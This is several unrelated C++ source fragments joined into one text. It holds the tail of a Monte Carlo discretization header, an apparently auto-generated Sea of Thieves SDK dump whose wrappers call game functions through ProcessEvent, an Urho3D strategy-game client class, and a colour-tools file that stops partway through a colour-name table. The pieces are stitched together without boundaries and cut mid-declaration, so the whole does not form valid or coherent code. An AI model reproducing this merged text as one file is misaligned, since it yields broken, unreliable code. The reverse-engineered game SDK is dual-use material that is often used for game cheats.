assignDiscretizationToDimension( const std::shared_ptr& discretization, const bool range_dimension ) override; //! Return the dimensions that have been discretized void getDiscretizedDimensions( std::map,bool> >& discretized_dimensions ) const override; //! Check if the range intersects the phase space discretization bool doesRangeIntersectDiscretization( const ObserverParticleStateWrapper& particle_state_wrapper ) const override; //! Calculate the bin indices and weights of a range void calculateBinIndicesAndWeightsOfRange( const ObserverParticleStateWrapper& particle_state_wrapper, BinIndexWeightPairArray& bin_indices_and_weights ) const override; private: // Serialize the data template void serialize( Archive& ar, const unsigned version ) { ar & BOOST_SERIALIZATION_BASE_OBJECT_NVP( SingleObserverPhaseSpaceDiscretizationImpl ); } // Declare the boost serialization access object as a friend friend class boost::serialization::access; // The discretized dimension std::shared_ptr d_dimension_discretization; }; } // end MonteCarlo namespace BOOST_CLASS_VERSION( MonteCarlo::RangedSingleObserverPhaseSpaceDiscretizationImpl, 0 ); BOOST_SERIALIZATION_CLASS_EXPORT_STANDARD_KEY( RangedSingleObserverPhaseSpaceDiscretizationImpl, MonteCarlo ); EXTERN_EXPLICIT_CLASS_SERIALIZE_INST( MonteCarlo, RangedSingleObserverPhaseSpaceDiscretizationImpl ); #endif // end MONTE_CARLO_RANGED_SINGLE_OBSERVER_PHASE_SPACE_DISCRETIZATION_IMPL_HPP //---------------------------------------------------------------------------// // end MonteCarlo_RangedSingleObserverPhaseSpaceDiscretizationImpl.hpp //---------------------------------------------------------------------------// // Name: SeaOfThieves, Version: 2.0.23 #include "../pch.h" /*!!DEFINE!!*/ /*!!HELPER_DEF!!*/ /*!!HELPER_INC!!*/ #ifdef _MSC_VER #pragma pack(push, 0x01) #endif namespace CG { //--------------------------------------------------------------------------- // Functions //--------------------------------------------------------------------------- void FGlitterbeardPuzzleUnlockTelemetryEvent::AfterRead() { } void FGlitterbeardPuzzleUnlockTelemetryEvent::BeforeDelete() { } void FGlitterbeardPlayerPuzzleUnlockSuccessTelemetryEvent::AfterRead() { } void FGlitterbeardPlayerPuzzleUnlockSuccessTelemetryEvent::BeforeDelete() { } void FGlitterbeardPlayerPuzzleUnlockFailureTelemetryEvent::AfterRead() { } void FGlitterbeardPlayerPuzzleUnlockFailureTelemetryEvent::BeforeDelete() { } void FGlitterbeardSessionEndTelemetryEvent::AfterRead() { } void FGlitterbeardSessionEndTelemetryEvent::BeforeDelete() { } void FGlitterbeardSessionBeginTelemetryEvent::AfterRead() { } void FGlitterbeardSessionBeginTelemetryEvent::BeforeDelete() { } void FFinaleReplicationState::AfterRead() { READ_PTR_FULL(TargetEnsemble, UObject); } void FFinaleReplicationState::BeforeDelete() { DELE_PTR_FULL(TargetEnsemble); } void FUnlockEventData::AfterRead() { } void FUnlockEventData::BeforeDelete() { } void FGlitterBeardVFXTransitionCompletedEvent::AfterRead() { } void FGlitterBeardVFXTransitionCompletedEvent::BeforeDelete() { } void FChangeGlitterBeardVFXStateEvent::AfterRead() { } void FChangeGlitterBeardVFXStateEvent::BeforeDelete() { } void FGlitterbeardPuzzleCancelTelemetryEvent::AfterRead() { } void FGlitterbeardPuzzleCancelTelemetryEvent::BeforeDelete() { } void UGlitterBeardEntitlementDesc::AfterRead() { UEntitlementDesc::AfterRead(); } void UGlitterBeardEntitlementDesc::BeforeDelete() { UEntitlementDesc::BeforeDelete(); } // Function GlitterBeard.GlitterBeardFinaleCoordinatorComponent.OnRep_ReplicationState // (Final, RequiredAPI, Native, Private, HasOutParms) // Parameters: // struct FFinaleReplicationState OldState (ConstParm, Parm, OutParm, ReferenceParm) void UGlitterBeardFinaleCoordinatorComponent::OnRep_ReplicationState(const struct FFinaleReplicationState& OldState) { static auto fn = UObject::FindObject("Function GlitterBeard.GlitterBeardFinaleCoordinatorComponent.OnRep_ReplicationState"); UGlitterBeardFinaleCoordinatorComponent_OnRep_ReplicationState_Params params; params.OldState = OldState; auto flags = fn->FunctionFlags; fn->FunctionFlags |= 0x00000400; UObject::ProcessEvent(fn, ¶ms); fn->FunctionFlags = flags; } void UGlitterBeardFinaleCoordinatorComponent::AfterRead() { UActorComponent::AfterRead(); READ_PTR_FULL(AudioEventToSynchronise, UWwiseEvent); } void UGlitterBeardFinaleCoordinatorComponent::BeforeDelete() { UActorComponent::BeforeDelete(); DELE_PTR_FULL(AudioEventToSynchronise); } void UGlitterBeardIsHideoutOpenConditional::AfterRead() { UNPCDialogConditional::AfterRead(); } void UGlitterBeardIsHideoutOpenConditional::BeforeDelete() { UNPCDialogConditional::BeforeDelete(); } void UGlitterBeardLanternSoundEffect::AfterRead() { UEffectBlendObjectBase::AfterRead(); READ_PTR_FULL(WWisePool, UWwiseObjectPoolWrapper); READ_PTR_FULL(WwiseEvent, UWwiseEvent); } void UGlitterBeardLanternSoundEffect::BeforeDelete() { UEffectBlendObjectBase::BeforeDelete(); DELE_PTR_FULL(WWisePool); DELE_PTR_FULL(WwiseEvent); } void AGlitterbeardSlidingDoor::AfterRead() { ASlidingDoor::AfterRead(); READ_PTR_FULL(DecalBlendComponent, UEffectBlendControllerComponent); } void AGlitterbeardSlidingDoor::BeforeDelete() { ASlidingDoor::BeforeDelete(); DELE_PTR_FULL(DecalBlendComponent); } void UGlitterBeardTelemetryComponent::AfterRead() { UActorComponent::AfterRead(); } void UGlitterBeardTelemetryComponent::BeforeDelete() { UActorComponent::BeforeDelete(); } void UGlitterBeardTrustedTreeInterface::AfterRead() { UInterface::AfterRead(); } void UGlitterBeardTrustedTreeInterface::BeforeDelete() { UInterface::BeforeDelete(); } // Function GlitterBeard.GlitterBeardTree.StopVocals // (Final, Native, Public, BlueprintCallable) void AGlitterBeardTree::StopVocals() { static auto fn = UObject::FindObject("Function GlitterBeard.GlitterBeardTree.StopVocals"); AGlitterBeardTree_StopVocals_Params params; auto flags = fn->FunctionFlags; fn->FunctionFlags |= 0x00000400; UObject::ProcessEvent(fn, ¶ms); fn->FunctionFlags = flags; } // Function GlitterBeard.GlitterBeardTree.StopReaction // (Native, Event, Public, BlueprintCallable, BlueprintEvent) // Parameters: // bool ReturnValue (Parm, OutParm, ZeroConstructor, ReturnParm, IsPlainOldData, NoDestructor) bool AGlitterBeardTree::StopReaction() { static auto fn = UObject::FindObject("Function GlitterBeard.GlitterBeardTree.StopReaction"); AGlitterBeardTree_StopReaction_Params params; auto flags = fn->FunctionFlags; fn->FunctionFlags |= 0x00000400; UObject::ProcessEvent(fn, ¶ms); fn->FunctionFlags = flags; return params.ReturnValue; } // Function GlitterBeard.GlitterBeardTree.StartVocals // (Final, Native, Public, BlueprintCallable) void AGlitterBeardTree::StartVocals() { static auto fn = UObject::FindObject("Function GlitterBeard.GlitterBeardTree.StartVocals"); AGlitterBeardTree_StartVocals_Params params; auto flags = fn->FunctionFlags; fn->FunctionFlags |= 0x00000400; UObject::ProcessEvent(fn, ¶ms); fn->FunctionFlags = flags; } // Function GlitterBeard.GlitterBeardTree.StartReaction // (Native, Event, Public, BlueprintCallable, BlueprintEvent) // Parameters: // bool ReturnValue (Parm, OutParm, ZeroConstructor, ReturnParm, IsPlainOldData, NoDestructor) bool AGlitterBeardTree::StartReaction() { static auto fn = UObject::FindObject("Function GlitterBeard.GlitterBeardTree.StartReaction"); AGlitterBeardTree_StartReaction_Params params; auto flags = fn->FunctionFlags; fn->FunctionFlags |= 0x00000400; UObject::ProcessEvent(fn, ¶ms); fn->FunctionFlags = flags; return params.ReturnValue; } // Function GlitterBeard.GlitterBeardTree.Reset_Impl // (Event, Protected, BlueprintEvent) void AGlitterBeardTree::Reset_Impl() { static auto fn = UObject::FindObject("Function GlitterBeard.GlitterBeardTree.Reset_Impl"); AGlitterBeardTree_Reset_Impl_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, ¶ms); fn->FunctionFlags = flags; } void AGlitterBeardTree::AfterRead() { AActor::AfterRead(); READ_PTR_FULL(ActionRulesComponent, UActionRulesComponent); READ_PTR_FULL(InteractableComponent, UActionRulesInteractableComponent); READ_PTR_FULL(UnlockVFXCoordinatorComponent, UGlitterBeardUnlockVFXCoordinatorComponent); READ_PTR_FULL(TelemetryComponent, UGlitterBeardTelemetryComponent); READ_PTR_FULL(VocalShanty, UClass); READ_PTR_FULL(VocalsFadeEvent, UWwiseEvent); READ_PTR_FULL(FinaleCoordinator, UGlitterBeardFinaleCoordinatorComponent); READ_PTR_FULL(LandmarkReactionTrigger, ULandmarkReactionTriggerComponent); READ_PTR_FULL(HideoutDoor, ASlidingDoor); } void AGlitterBeardTree::BeforeDelete() { AActor::BeforeDelete(); DELE_PTR_FULL(ActionRulesComponent); DELE_PTR_FULL(InteractableComponent); DELE_PTR_FULL(UnlockVFXCoordinatorComponent); DELE_PTR_FULL(TelemetryComponent); DELE_PTR_FULL(VocalShanty); DELE_PTR_FULL(VocalsFadeEvent); DELE_PTR_FULL(FinaleCoordinator); DELE_PTR_FULL(LandmarkReactionTrigger); DELE_PTR_FULL(HideoutDoor); } // Function GlitterBeard.GlitterBeardTreeVisualFeedbackComponent.OnRep_NextStateEvent // (Final, RequiredAPI, Native, Private, HasOutParms) // Parameters: // TArray> OldStates (ConstParm, Parm, OutParm, ZeroConstructor, ReferenceParm) void UGlitterBeardTreeVisualFeedbackComponent::OnRep_NextStateEvent(TArray> OldStates) { static auto fn = UObject::FindObject("Function GlitterBeard.GlitterBeardTreeVisualFeedbackComponent.OnRep_NextStateEvent"); UGlitterBeardTreeVisualFeedbackComponent_OnRep_NextStateEvent_Params params; params.OldStates = OldStates; auto flags = fn->FunctionFlags; fn->FunctionFlags |= 0x00000400; UObject::ProcessEvent(fn, ¶ms); fn->FunctionFlags = flags; } void UGlitterBeardTreeVisualFeedbackComponent::AfterRead() { UActorComponent::AfterRead(); } void UGlitterBeardTreeVisualFeedbackComponent::BeforeDelete() { UActorComponent::BeforeDelete(); } void UGlitterBeardUnlockVFXCoordinatorComponent::AfterRead() { UActorComponent::AfterRead(); READ_PTR_FULL(TreeMaterialInstanceDynamic, UMaterialInstanceDynamic); } void UGlitterBeardUnlockVFXCoordinatorComponent::BeforeDelete() { UActorComponent::BeforeDelete(); DELE_PTR_FULL(TreeMaterialInstanceDynamic); } } #ifdef _MSC_VER #pragma pack(pop) #endif KonstantinTomashevich/castles-strategysources/CastlesStrategy/Client/Ingame/IngameActivity.cpp #include "IngameActivity.hpp" #include #include #include #include #include #include #include #include #include #include #include #include #include namespace CastlesStrategy { IngameActivity::IngameActivity (Urho3D::Context *context, const Urho3D::String &playerName, const Urho3D::String &serverAddress, unsigned int port, bool isAdmin) : ActivitiesApplication::Activity (context), playerType_ (PT_OBSERVER), playerName_ (playerName), isAdmin_ (isAdmin), serverAddress_ (serverAddress), port_ (port), scene_ (new Urho3D::Scene (context)), ingameUIManager_ (nullptr), networkManager_ (nullptr), dataManager_ (nullptr), cameraManager_ (nullptr), fogOfWarManager_ (nullptr) { } IngameActivity::~IngameActivity () { delete scene_; delete ingameUIManager_; delete networkManager_; delete dataManager_; delete cameraManager_; delete fogOfWarManager_; } void IngameActivity::Start () { ingameUIManager_ = new IngameUIManager (this); ingameUIManager_->LoadUI (); networkManager_ = new NetworkManager (this); dataManager_ = new DataManager (this); SubscribeToEvents (); ConnectToServer (); cameraManager_ = new CameraManager (this); fogOfWarManager_ = new FogOfWarManager (this); InitScene (); } void IngameActivity::Update (float timeStep) { cameraManager_->Update (timeStep); dataManager_->Update (timeStep); fogOfWarManager_->Update (timeStep); } void IngameActivity::Stop () { ingameUIManager_->ClearUI (); } PlayerType IngameActivity::GetPlayerType () const { return playerType_; } void IngameActivity::SetPlayerType (PlayerType playerType) { playerType_ = playerType; fogOfWarManager_->SetFogOfWarEnabled (playerType == PT_FIRST || playerType == PT_SECOND); } GameStatus IngameActivity::GetGameStatus () const { return gameStatus_; } void IngameActivity::SetGameStatus (GameStatus gameStatus) { gameStatus_ = gameStatus; if (gameStatus == GS_PLAYING) { dataManager_->LoadMapResources (); ingameUIManager_->SwitchToPlayingState (); } else if (gameStatus == GS_FIRST_WON || gameStatus == GS_SECOND_WON) { ingameUIManager_->InformGameEnded (gameStatus == GS_FIRST_WON); fogOfWarManager_->SetFogOfWarEnabled (false); Urho3D::Network *network = context_->GetSubsystem (); network->GetServerConnection ()->SetScene (nullptr); } } bool IngameActivity::IsAdmin () const { return isAdmin_; } const Urho3D::String &IngameActivity::GetPlayerName () const { return playerName_; } const Urho3D::String &IngameActivity::GetServerAddress () const { return serverAddress_; } unsigned int IngameActivity::GetPort () const { return port_; } Urho3D::Scene *IngameActivity::GetScene () const { return scene_; } IngameUIManager *IngameActivity::GetIngameUIManager () const { return ingameUIManager_; } NetworkManager *IngameActivity::GetNetworkManager () const { return networkManager_; } DataManager *IngameActivity::GetDataManager () const { return dataManager_; } CameraManager *IngameActivity::GetCameraManager () const { return cameraManager_; } FogOfWarManager *IngameActivity::GetFogOfWarManager () const { return fogOfWarManager_; } void IngameActivity::InitScene () const { scene_->CreateComponent (Urho3D::LOCAL); scene_->CreateComponent (Urho3D::LOCAL); } void IngameActivity::SubscribeToEvents () { SubscribeToEvent (Urho3D::E_CONNECTFAILED, URHO3D_HANDLER (IngameActivity, HandleConnectFailed)); SubscribeToEvent (Urho3D::E_SERVERCONNECTED, URHO3D_HANDLER (IngameActivity, HandleServerConnected)); SubscribeToEvent (Urho3D::E_SERVERDISCONNECTED, URHO3D_HANDLER (IngameActivity, HandleServerDisconnected)); } void IngameActivity::ConnectToServer () const { Urho3D::VariantMap identity; identity [IdentityFields::NAME] = playerName_; Urho3D::Network *network = context_->GetSubsystem (); network->Connect (serverAddress_, port_, scene_, identity); } void IngameActivity::HandleConnectFailed (Urho3D::StringHash eventType, Urho3D::VariantMap &eventData) { ingameUIManager_->ShowMessage ("Connection failed!", "Couldn't connect to specified server!", "Go to main menu.", [] (IngameActivity *activity) -> void { activity->SendEvent (E_SHUTDOWN_ALL_ACTIVITIES); activity->SendEvent (E_START_MAIN_MENU); }); } void IngameActivity::HandleServerConnected (Urho3D::StringHash eventType, Urho3D::VariantMap &eventData) { // TODO: Implement. } void IngameActivity::HandleServerDisconnected (Urho3D::StringHash eventType, Urho3D::VariantMap &eventData) { if (gameStatus_ != GS_FIRST_WON && gameStatus_ != GS_SECOND_WON) { ingameUIManager_->ShowMessage ("Disconnected!", "Lost connection to server!", "Go to main menu.", [] (IngameActivity *activity) -> void { activity->SendEvent (E_SHUTDOWN_ALL_ACTIVITIES); activity->SendEvent (E_START_MAIN_MENU); }); } } } // ====================================================================== /*! * \file NFmiColorTools.cpp * \brief Tools to handle RGBA colors. * * \b History: * * \li 21.08.2001 \par * Implemented. */ // ====================================================================== // ====================================================================== /*! * \namespace Imagine::NFmiColorTools * * This provides methods to operator on RGBA colors by providing static * member functions. Hence the members can be and are intended to be used * as in * * \code * NFmiColorTools::Color color = NFmiColorTools::MakeColor(red,green,blue,alpha); * \endcode * * The better alternative would be to use a \c namespace, but they do not * work properly with the GNU C++ compiler. * * Notes about colour blending with Porter-Duff rules: * * A general Porter-Duff rule is expressed with formulas * * \f$C_d = C_s F_s + C_d F_d\f$ * * \f$A_d = A_s F_s + A_d F_d\f$ * * where \f$C_s\f$, \f$C_d\f$ stand for source and destination colour * components, \f$A_s\f$, \f$A_d\f$ source and destination alphas. * \f$F_s\f$ ans \f$F_d\f$ denote the fractions used in the blending as * defined by each compositing rule. * * Note that here having alpha value 1 implies an opaque colour and * zero a transparent colour, while in code we actuall prefer to use 0 for * opaque and 127 for transparent. * * Hence in all formulas we must substitute * * \f$ A_s = (\alpha_{max} - \alpha)/\alpha_{max}\f$ * * \f$ 1-A_s = \alpha/\alpha_{max}\f$ * * Also, the rules apply in premultiplied RGBA space, where each component * value has already been premultiplied by the alpha. We do this explicitly * when applying the rules. * * The rules as found from for example Java2D documentation are described * below. The name on the left corresponds to the chosen name, the name * below it the logical description of the operation. * * \li \b Clear\par * Both the color and the alpha of destination are cleared. Neither the * source nor the destination is used as input. * * \li \b Copy\par * The source is copied to the destination. The destination is not used * as input. * * \li \b Keep\par * The destination is kept. Useless operation for us. * * \li \b Over\par * The source is composited over the destination. * * \li \b Under\par * The destination is composited over the source and the result replaces the * destination. This is \b Over with the operands reversed. * * \li \b In\par * The part of the source lying inside of the destination replaces * the destination. * * \li \b KeepIn\par * The part of the destination lying inside of the source replaces the * destination. This is \b In with the operands reversed. * * \li \b Out\par * The part of the source lying outside of the destination replaces * the destination. * * \li \b KeepOut\par * The part of the destination lying outside of the source replaces * the destination. This is \b Out with the operands reversed. * * \li \b Atop\par * The part of the source inside the destination replaces the part inside * the destination. * * \li \b KeepAtop\par * The part of the destination inside the source replaces the part inside * the source in the destination. This is \b Atop reversed. * * \li \b Xor\par * Only non-overlapping areas of source and destination are kept. * * Additional blending rules * * In addition to Ported-Duff rules, we define miscellaneous blending-rule * type functions. Many of these are found for example from Imagemagick. * * \li \b Plus\par * Add RGBA values using Porter-Duff type rules. * * \li \b Minus\par * Substract RGBA values using Porter-Duff type rules. * * \li \b Add\par * Add RGBA values. * * \li \b Substract\par * Substract RGBA values. * * \li \b Multiply\par * Multiply RGBA values * * \li \b Difference\par * Absolute difference of RGBA values. * * \li \b Bumpmap\par * Adjust by intensity of source color. * * \li \b Dentmap\par * Adjust by intensity of destination color. * * \li \b CopyRed\par * Copy red component only. * * \li \b CopyGreen\par * Copy green component only. * * \li \b CopyBlue\par * Copy blue component only. * * \li \b CopyMatte\par * Copy opacity only. * * \li \b CopyHue\par * Copy hue component only. * * \li \b CopyLightness\par * Copy light component only. * * \li \b CopySaturation\par * Copy saturation component only. * * \li \b KeepMatte\par * Keep target matte only. * * \li \b KeepHue\par * Keep target hue only. * * \li \b KeepLightness\par * Keep target lightness only. * * \li \b KeepSaturation\par * Keep target saturation only. * * \li \b AddContrast\par * Enhance the contrast of target pixel. * * \li \b ReduceContrast\par * Reduce the contrast of target pixel. * * \li \b OnOpaque\par * Draw on opaque parts only. * * \li \b OnTransparent\par * Draw on transparent parts only. * * Note that ImageMagick Dissolve and Plus are equivalent. * */ // ====================================================================== #include "NFmiColorTools.h" #include #include #include #include #include namespace Imagine { using namespace std; //! Map of recognized colour names. /*! * A static map of recognized color names is initialized when * a name - rgb conversion is requested for the first time. * A map is used due to the large number of known colour names. */ static map itsColorNames; //! Map of recognized colour blending rule names. /*! * A static map of recognized blending rule names is initialized when * a name - rule conversion is requested for the first time. * A map is used due to the largish number of available rules. */ static map itsBlendNames; // ---------------------------------------------------------------------- /*! * Convert RGB to HLS values. * The RGB values are expected to be integers in range 0 - MaxRGB. * The LS values are floats in range 0-1, H in range 0-360. */ // ---------------------------------------------------------------------- void NFmiColorTools::RGBtoHLS(int red, int green, int blue, double *h, double *l, double *s) { double v, m, delta, l1, h1, r, g, b; // Normalize input to range 0-1 for calculations r = static_cast(red) / MaxRGB; g = static_cast(green) / MaxRGB; b = static_cast(blue) / MaxRGB; v = (r > g) ? ((r > b) ? r : b) : ((g > b) ? g : b); m = (r < g) ? ((r < b) ? r : b) : ((g < b) ? g : b); l1 = (m + v) / 2; delta = v - m; if (l1 <= 0) *l = *h = *s = 0; else if (delta <= 0) { *l = l1; *h = *s = 0; } else { *s = (l1 < 0.5) ? delta / (v + m) : delta / (2 - v - m); *l = l1; if (r == v) h1 = (g - b) / delta; else if (g == v) h1 = 2 + (b - r) / delta; else h1 = 4 + (r - g) / delta; h1 = h1 * 60; if (h1 < 0) h1 = h1 + 360; *h = h1; } } // ---------------------------------------------------------------------- /*! Convert of HLS values to RGB values. * The RGB values are expected to be integers in range 0 - MaxRGB * The LS values are floats in range 0-1, H in range 0-360. */ // ---------------------------------------------------------------------- void NFmiColorTools::HLStoRGB(double h, double l, double s, int *r, int *g, int *b) { double m1, m2; // handle greyscale separately if (s < 1e-10) *r = *g = *b = static_cast(MaxRGB * l); else { m2 = (l < 0.5) ? l * (1 + s) : l + s - l * s; m1 = 2 * l - m2; *r = static_cast(MaxRGB * hls_to_rgb_util(m1, m2, h + 120)); *g = static_cast(MaxRGB * hls_to_rgb_util(m1, m2, h)); *b = static_cast(MaxRGB * hls_to_rgb_util(m1, m2, h - 120)); } } // Utility function needed by HLStoRGB double NFmiColorTools::hls_to_rgb_util(double m1, double m2, double h) { double hue = h; if (hue > 360) hue = hue - 360; if (hue < 0) hue = hue + 360; if (hue < 60) return m1 + (m2 - m1) * hue / 60; else if (hue < 180) return m2; else if (hue < 240) return m1 + (m2 - m1) * (240 - hue) / 60; else return m1; } // ---------------------------------------------------------------------- // Linear colour interpolation in HLS space. // // Often interpolation in RGB space results in LS values clearly // different from the range defined by the interpolation limits. // The result may be an unnecessarily dark gradient. To prevent // this, interpolation can be performed in HLS space. The shorter // path around the colour circle is chosen for interpolating H. // // Extrapolation is not performed, the limits are returned instead. // ---------------------------------------------------------------------- NFmiColorTools::Color NFmiColorTools::Interpolate(Color c1, Color c2, float fraction) { // Handle extrapolation if (fraction <= 0) return c1; if (fraction >= 1) return c2; double h1, l1, s1, h2, l2, s2, h, l, s; int r, g, b, a; // Covert to HLS space RGBtoHLS(GetRed(c1), GetGreen(c1), GetBlue(c1), &h1, &l1, &s1); RGBtoHLS(GetRed(c2), GetGreen(c2), GetBlue(c2), &h2, &l2, &s2); // Interpolate in HLS space l = l1 + (l2 - l1) * fraction; s = s1 + (s2 - s1) * fraction; if (abs(h1 - h2) <= 180) h = h1 + (h2 - h1) * fraction; else if (h1 <= h2) h = h1 + (h2 - 360 - h1) * fraction; else h = h1 - 360 + (h2 - h1 - 360) * fraction; if (h < 0) h += 360; if (h >= 360) h -= 360; // Back to RGB space HLStoRGB(h, l, s, &r, &g, &b); // Interpolate alpha a = static_cast((1 - fraction) * GetAlpha(c1) + fraction * GetAlpha(c2)); return MakeColor(r, g, b, a); } // ---------------------------------------------------------------------- // Adjust contrast in the desired direction. // The code is taken from ImageMagick // If theSign=1, contrast is enhanced, for -1 it is reduced. // ---------------------------------------------------------------------- NFmiColorTools::Color NFmiColorTools::Contrast(NFmiColorTools::Color theColor, int theSign) { // Get RGBA components int r = GetRed(theColor); int g = GetGreen(theColor); int b = GetBlue(theColor); int a = GetAlpha(theColor); // Transform to hls space double h, l, s; RGBtoHLS(r, g, b, &h, &l, &s); // Calculate adjustment const float m = 0.5; double adjustment = m * theSign * (m * (sin(3.14159265358979323846264 * (l - m)) + 1) - l); l += adjustment; l = std::max(std::min(l, 1.0), 0.0); // Transform back HLStoRGB(h, l, s, &r, &g, &b); return MakeColor(r, g, b, a); } // ---------------------------------------------------------------------- // Given a blending rule and the alpha of the source color, simplify // the blending rule if possible so that rendering will occur at // maximum speed. // // The simplifications are: // // ColorOver with alpha=0 (Fs=1,Fd=0) ColorCopy // ColorKeepIn with alpha=0 (Fs=0,Fd=1) ColorKeep // ColorKeepOut with alpha=0 (Fs=0,Fd=1) ColorKeep // ColorKeepAtop with alpha=0 (Fs=1-Ad,Fd=1) ColorUnder // ColorXor with alpha=0 (Fs=1-Ad,Fd=1) ColorUnder // ColorKeepIn with alpha=max (Fs=0,Fd=0) ColorClear // ColorKeepOut with alpha=max (Fs=0,Fd=0) ColorClear // ColorAtop with alpha=max (Fs=Ad,Fd=0) ColorIn // ColorKeepAtop with alpha=max (Fs=1-Ad,Fd=0) ColorKeepOut // ColorXor with alpha=max (Fs=1-Ad,Fd=0) ColorKeepOut // // ---------------------------------------------------------------------- NFmiColorTools::NFmiBlendRule NFmiColorTools::Simplify(NFmiColorTools::NFmiBlendRule rule, int alpha) { if (alpha == NFmiColorTools::Opaque) { if (rule == NFmiColorTools::kFmiColorOver) return NFmiColorTools::kFmiColorCopy; if (rule == NFmiColorTools::kFmiColorKeepIn) return NFmiColorTools::kFmiColorKeep; if (rule == NFmiColorTools::kFmiColorKeepOut) return NFmiColorTools::kFmiColorKeep; if (rule == NFmiColorTools::kFmiColorKeepAtop) return NFmiColorTools::kFmiColorUnder; if (rule == NFmiColorTools::kFmiColorXor) return NFmiColorTools::kFmiColorUnder; } else if (alpha == NFmiColorTools::Transparent) { if (rule == NFmiColorTools::kFmiColorKeepIn) return NFmiColorTools::kFmiColorClear; if (rule == NFmiColorTools::kFmiColorKeepOut) return NFmiColorTools::kFmiColorClear; if (rule == NFmiColorTools::kFmiColorAtop) return NFmiColorTools::kFmiColorIn; if (rule == NFmiColorTools::kFmiColorKeepAtop) return NFmiColorTools::kFmiColorKeepOut; if (rule == NFmiColorTools::kFmiColorXor) return NFmiColorTools::kFmiColorKeepOut; } return rule; } // ---------------------------------------------------------------------- // General purpose string to color conversion // // Accepted formats: // - #aarrggbb Hexadecimal RGBA // - #rrggbb Hexadecimal RGB // - r,g,b,a Decimal RGBA // - r,g,b Decimal RGB // // Returns MissingColor for unrecognized names // ---------------------------------------------------------------------- NFmiColorTools::Color NFmiColorTools::ToColor(const string &theColor) { // Handle hex format number if (theColor[0] == '#') return HexToColor(theColor.substr(1)); // Handle ascii format else if (theColor[0] < '0' || theColor[0] > '9') { string::size_type pos = theColor.find(","); if (pos == string::npos) return ColorValue(theColor); else { int value = -1; for (size_t i = pos + 1; i < theColor.length(); i++) { if (theColor[i] >= '0' && theColor[i] <= '9') { if (value < 0) value = theColor[i] - '0'; else value = value * 10 + theColor[i] - '0'; } else return MissingColor; } if (value < 0) return MissingColor; Color tmp = ColorValue(theColor.substr(0, pos)); return ReplaceAlpha(tmp, value); } } // Handle decimal format else { vector tmp; int value = -1; for (unsigned int i = 0; i < theColor.length(); i++) { if (theColor[i] >= '0' && theColor[i] <= '9') { if (value < 0) value = theColor[i] - '0'; else value = value * 10 + theColor[i] - '0'; } else if (theColor[i] == ',') { tmp.push_back(value); value = -1; } else return MissingColor; } if (value >= 0) tmp.push_back(value); if (tmp.size() == 3) return MakeColor(tmp[0], tmp[1], tmp[2], 0); else if (tmp.size() == 4) return MakeColor(tmp[0], tmp[1], tmp[2], tmp[3]); else return MissingColor; } } // ---------------------------------------------------------------------- // Utility function to convert hexadecimal numbers to a color // ---------------------------------------------------------------------- NFmiColorTools::Color NFmiColorTools::HexToColor(const std::string &theHex) { Color c = 0; for (unsigned int i = 0; i < theHex.length(); i++) { c <<= 4; if (theHex[i] >= '0' && theHex[i] <= '9') c += theHex[i] - '0'; else if (theHex[i] >= 'A' && theHex[i] <= 'F') c += 10 + theHex[i] - 'A'; else if (theHex[i] >= 'a' && theHex[i] <= 'f') c += 10 + theHex[i] - 'a'; else return MissingColor; } return c; } // ---------------------------------------------------------------------- // Convert a color name to a color value // Returns MissingColor if the color name is undefined // ---------------------------------------------------------------------- NFmiColorTools::Color NFmiColorTools::ColorValue(const string &theName) { ColorNamesInit(); // Search for the string map::iterator iter; iter = itsColorNames.find(theName); if (iter == itsColorNames.end()) return MissingColor; else return iter->second; } // ---------------------------------------------------------------------- // Convert a color value to a color name // Returns a MissingColorName if the name is unknown // ---------------------------------------------------------------------- const string NFmiColorTools::ColorName(const NFmiColorTools::Color &theColor) { ColorNamesInit(); // Search for the color value map::iterator iter; for (iter = itsColorNames.begin(); iter != itsColorNames.end(); ++iter) { if (iter->second == theColor) return iter->first; } static const string MissingColorName = string(""); return MissingColorName; } // ---------------------------------------------------------------------- // Initialize table of SVG color names. // See: http://www.w3.org/TR/SVG/types.html#ColorKeyWords // ---------------------------------------------------------------------- void NFmiColorTools::ColorNamesInit(void) { // Abort if already initialized if (!itsColorNames.empty()) return; #define COLORINSERT(N, R, G, B) itsColorNames.insert(make_pair(string(N), MakeColor(R, G, B))) itsColorNames.insert(make_pair(string("none"), NoColor)); itsColorNames.insert(make_pair(string("transparent"), TransparentColor)); COLORINSERT("aliceblue", 240, 248, 255); COLORINSERT("antiquewhite", 250, 235, 215); COLORINSERT("aqua", 0, 255, 255); COLORINSERT("aquamarine", 127, 255, 212); COLORINSERT("azure", 240, 255, 255); COLORINSERT("beige", 245, 245, 220); COLORINSERT("bisque", 255, 228, 196); COLORINSERT("black", 0, 0, 0); COLORINSERT("blanchedalmond", 255, 235, 205); COLORINSERT("blue", 0, 0, 255); COLORINSERT("blueviolet", 138, 43, 226); COLORINSERT("brown", 165, 42, 42); COLORINSERT("burlywood", 222, 184, 135); COLORINSERT("cadetblue", 95, 158, 160); COLORINSERT("chartreuse", 127, 255, 0); COLORINSERT("chocolate", 210, 105, 30); COLORINSERT("coral", 255, 127, 80); COLORINSERT("cornflowerblue", 100, 149, 237); COLORINSERT("cornsilk", 255, 248, 220); COLORINSERT("crimson", 220, 20, 60); COLORINSERT("cyan", 0, 255, 255); COLORINSERT("darkblue", 0, 0, 139); COLORINSERT("darkcyan", 0, 139, 139); COLORINSERT("darkgoldenrod", 184, 134, 11); COLORINSERT("darkgray", 169, 169, 169); COLORINSERT("darkgreen", 0, 100, 0); COLORINSERT("darkgrey", 169, 169, 169); COLORINSERT("darkkhaki", 189, 183, 107); COLORINSERT("darkmagenta", 139, 0, 139); COLORINSERT("darkolivegreen", 85, 107, 47); COLORINSERT("darkorange", 255, 140, 0); COLORINSERT("darkorchid", 153, 50, 204); COLORINSERT("darkred", 139, 0, 0); COLORINSERT("darksalmon", 233, 150, 122); COLORINSERT("darkseagreen", 143, 188, 143); COLORINSERT("darkslateblue", 72, 61, 139); COLORINSERT("darkslategray", 47, 79, 79); COLORINSERT("darkslategrey", 47, 79, 79); COLORINSERT("darkturquoise", 0, 206, 209); COLORINSERT("darkviolet", 148, 0, 211); COLORINSERT("deeppink", 255, 20, 147); COLORINSERT("deepskyblue", 0, 191, 255); COLORINSERT("dimgray", 105, 105, 105); COLORINSERT("dimgrey", 105, 105, 105); COLORINSERT("dodgerblue", 30, 144, 255); COLORINSERT("firebrick", 178, 34, 34); COLORINSERT("floralwhite", 255, 250, 240); COLORINSERT("forestgreen", 34, 139, 34); COLORINSERT("fuchsia", 255, 0, 255); COLORINSERT("gainsboro", 